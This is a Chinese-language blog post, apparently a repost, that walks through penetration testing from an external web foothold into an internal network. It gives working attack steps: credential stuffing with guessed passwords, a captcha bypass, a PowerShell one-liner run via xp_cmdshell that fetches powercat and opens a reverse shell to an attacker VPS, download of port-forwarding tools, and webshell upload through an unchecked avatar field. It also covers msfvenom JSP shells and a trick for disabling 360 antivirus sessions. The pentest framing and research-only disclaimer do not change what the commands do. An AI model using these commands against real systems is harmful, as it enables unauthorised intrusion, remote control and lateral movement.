从外网到内网渗透测试方法

admin 2021年12月16日18:00:50未分类 安全文章评论117 views4080字阅读13分36秒阅读模式

渗透的大体过程

整个渗透测试的流程就是通过信息收,集到外网的 web 漏洞挖掘,来获取一个 webshell ,通过这个 shell 进一步利用来打进内网,进行内网渗透、域渗透,最终获取域控权限的一个过程。

从外网挖掘漏洞的一些方法

常见的渗透思路这里就不介绍了,也比较常见,这里主要想纪录一下自己在测试中用到的方法。
拿到相应的资产,解析完 ip 段或者网址之后,直接上大型扫描器!直接上大型扫描器!直接上大型扫描器!对你没有听错。
从外网到内网渗透测试方法
需要检测 web 漏洞的话,需要对相应的 IP 进行端口扫描,端口扫描的话用御剑高速端口扫描工具这个工具,效果非常棒!把扫描的速度越调低结果就会越精确。
扫描完成之后可以导出相应的扫描结果,得到相应的 IP 结果之后,再丢进 AWVS 直接使用脚本批量扫描,或者批量弱口令爆破就行了。总之套路就是需要注意批量!批量!批量!就行了
这是上次批量扫了两天的结果,还是很可观,还是混了不少洞的啊哈哈哈哈。不过是否属于资产范围内的就需要自己验证了。
从外网到内网渗透测试方法

从外网撕开口子的常见操作

框架、中间件漏洞

最常见的就是 Struts2、weblogic 等已有的 RCE 漏洞。
检测的方法就是使用现有的工具进行批量扫描,也可以自己写一个脚本进行指纹探测之后再检测漏洞。或者丢进 Nessus 或者 AWVS 中一般都可以自己检测出来。
工具的话网上也比较多了,推荐使用 .net 写的小工具,网络发包速度快,也很稳定。
检测 S2 漏洞的话推荐使用Struts2漏洞检查工具2018版这个工具,可以批量!贼爽!

撞库漏洞

主要是针对于一些员工系统和登录系统、信息查询系统、OA 系统进行撞库,在没有验证码的登录系统中屡试不爽。

测试方法

无验证码的情况
首先这些系统一般外部只有一个登录框,先查看有无验证码,没有验证码直接导入中国常见用户名字典,密码为弱口令字典(或者直接就设置成 123456)。
从外网到内网渗透测试方法
或者密码可以改成用户名+数字的形式,例如用户名是 zhangsan,可以尝试每个用户对应的密码字典为 zhangsan12、zhangsan123 这种类型。
若是邮箱登录,则需要先收集一下系统的邮箱后缀,常见的收集方法有 google hack、专门收集目标站邮箱的查询网址。
拿到了后缀之后,使用用户拼音+邮箱后缀的方式进行爆破。注意这里有两种方式。
1.用户名规则使用用户全拼音。例如 [email protected]
2.用户名规则使用姓的全拼+名的缩写。例如 [email protected][email protected]
总的来说,第二种方式比较常见,也可以两种都试试。
有验证码的情况
这里就说下有验证码,但是验证码可以绕过的情况。
如下面的情况,直接把 cookie 删除之后就不会验证 randcode 的值了,可能这代码写的也比较奇葩吧
从外网到内网渗透测试方法

弱口令漏洞

公网数据库爆破

web 登录系统的弱口令爆破就不说了,有一种思路是直接对公网的 IP 地址的数据库弱口令爆破,个人感觉还是比较爽的。
因为资产给的有时候是整几个网段,所以爆破的话能够成功的概率也是挺大的。
这里推荐使用超级弱口令检查工具这个工具,在 github 上也可以找到。勾选上所有的数据库的选项,把用户名和密码字典导入,勾选上扫描端口。
运气好的话还是可以出结果的。

内网数据库爆破

这里推荐使用 F-Scrack 和 DBScanner 工具,在 github 上面都有,进入内网之后弱口令比较多,扫描爆破的效果还是不错的。

从 webshell 到内网

从 sql 注入到内网渗透

直接举例。
拿到一个 mssql 注入,并且可以开启 xp_cmdshell 设置执行任意命令的情况下(--os-shell)。如果注入是属于回显、报错注入的话,直接执行命令就没有太大的限制,如果是延时注入的话,要等很长时间才能回显,这就比较恶心了。
举个例子,像下面这种注入的话就是属于无页面回显,只能靠时间盲注才能出数据,根据时间盲注是一个字符一个字符的出数据,速度就会慢很多,而且有时候还不稳定。

解决方法:

在 sqlmap 下获取 xp_cmdshell 之后,直接执行:
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 123.207.xx.xx -p 9999 -e cmd
在 vps 上监听一个 9999 端口,等着弹回 shell (system32 下的 cmd)就行了。然后拿到 shell 之后继续使用 powershell 下载远程木马或者端口到靶机上就行了。
从外网到内网渗透测试方法
powershell 下载远程文件命令:
下载 lcx 到本地进行 3389 端口转发
powershell "$c=new-Object "System.Net.WebClient";$c.DownloadFile("http://123.207.xx.xx:81/static/lcx.exe","C:/Users/Administrator/Desktop/lcx.exe");";
第二个参数填入保存到的路径即可和保存的文件名即可。
若公网跳板机是 linux 的话,可以使用 linux 版本的 lcx,也就是 portmap
用法:
./portmap -m 2 -p1 7777 -h2 211.141.xx.xx -p2 9999
这里的 h2 是远程服务的 ip 地址。

从 S2-045 到内网渗透

检测 S2 的方法就不说了,直接工具一把梭。这里推荐使用 "Struts2漏洞检查工具2018版" 这个工具,可以批量导入 url ,效率还是可以的。但是能不能出洞主要还是看运气看人品哈哈哈。
从外网到内网渗透测试方法
简单检测 S2 漏洞的方法:看 Uri 的后缀是否为 .do 或者 .action,是的话直接丢进去工具验证。

获取 S2 之后的操作步骤

1.第一个方法就是上面说的,有 powershell 的话直接一把梭 getshell。或者可以配合 Empire 生成一个 powershell 的 payload 直接运行。但是这种方法有时候因为种种原因会不太稳定。

2.第二种方法可以用上面那个工具进行文件上传传小马上去,接着用小马客户端传大马就行了,这是常规套路。

Q:拿到大马之后要干啥?
A:当然要进一步渗透了,内网渗透、域渗透。
Q: 但是具体怎么做?
A: 先 ipconfig 看看是不是内网 IP,如果是的话就传个 msf 马上去进一步操作,或者用 lcx 或者 ew 把 3389 转发到公网。
Q: 但是要怎么传呢?直接使用大马的上传功能吗?
A: 不行。因为 jsp 的上传只支持可见字符字节码的上传,二进制数据没办法直接上传。
Q: 那该如何操作?
A: 我这里是用 Base64 编码的方式,先把 exe 文件整个编码,之后构造一个 jsp 的上传点,在上传完成之后在网站目录下解码即可,解码之后就释放到网站目录下了。
参考:https://blog.51cto.com/0x007/1204440
在实战环境下遇到的几乎都是 jsp 的站点,php 的站非常少,所以需要平时多积累多练习一下对 jsp 站点的渗透

从文件上传 getshell 到内网

测试过程遇到一个比较奇葩的文件上传漏洞,发生在后台用户头像上传处,可以抓包直接修改上传的文件后缀为 jsp 文件,就可以直接进行上传,无任何验证,且上传完成后还会返回给你整个马子的路径。
从外网到内网渗透测试方法
可以直接上传木马的话,就可以直接上大马或者用 msf 直接生成一个 jsp 马(msfvenom)。
java/jsp_shell_bind_tcp // 用于本地没有外网 IP 或者远程的靶机无法外连的情况java/jsp_shell_reverse_tcp // 用于本地有公网 IP 的情况
将生成的 payload 直接通过文件上传上去,接着拿到路径直接访问即可,在 msf 里可以升级到 meterpreter 之后就可以为所欲为了。

可能会遇到的一些问题

1.拿到 shell 之后,发现有 360 主动防御和 360 杀毒?
可以试试命令:logoff 1 或者 logoff 2 ,会有意想不到的效果~
2.拿到 shell,将 3389 端口转发出来之后,尝试连接发现出现问题,估计是限制了我这边的 IP 访问。
从外网到内网渗透测试方法
解决方法:添加注册表 AllowEncryptionOracle 项即可。
参考:https://www.cnblogs.com/lindajia/p/9021082.html
一条命令直接解决(需要在 system32 目录下的 cmd 中执行):
REG add HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemCredSSPParameters /v AllowEncryptionOracle /t REG_DWORD /d 2 /f

2. 将 msf 代理进内网
直接使用命令:
proxychains msfconsole
或者在 set payload 之后,执行:
set proxies socks5:192.168.0.1:1080

3. 拿到一个 shell 之后分辨是否是内/外网 IP
如下图的情况就说明他只有内网 IP,没有公网 IP,也就是这个机子是用网线接在路由器/交换机上的。我们能访问到他的 80 端口的服务是因为在交换机/路由器上做了端口映射。
从外网到内网渗透测试方法
在网络映射中是这样表示的:
从外网到内网渗透测试方法
所以这时候你一般就没有办法直接连接到他的 3389 端口,因为他在内网里所以就只能使用端口转发了。

如果存在外网 IP 的话显示的就是外网 IP。有时候也会遇到既有公网 IP 也有内网 IP 的情况下。

作者:H4lo来源:先知社区


历史文章推荐:

XSS 实战思路总结

内网信息收集总结

xss攻击、绕过最全总结

一些webshell免杀的技巧

命令执行写webshell总结

SQL手工注入总结 必须收藏

后台getshell常用技巧总结

web渗透之发现内网有大鱼

蚁剑特征性信息修改简单过WAF

内网渗透之域渗透命令执行总结

[WEB安全]Weblogic漏洞总结


查看更多精彩内容,还请关注橘猫学安全


每日坚持学习与分享,麻烦各位师傅文章底部给点个“再看”,感激不尽从外网到内网渗透测试方法

原文始发于微信公众号(橘猫学安全):从外网到内网渗透测试方法

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月16日18:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  从外网到内网渗透测试方法 http://cn-sec.com/archives/675155.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: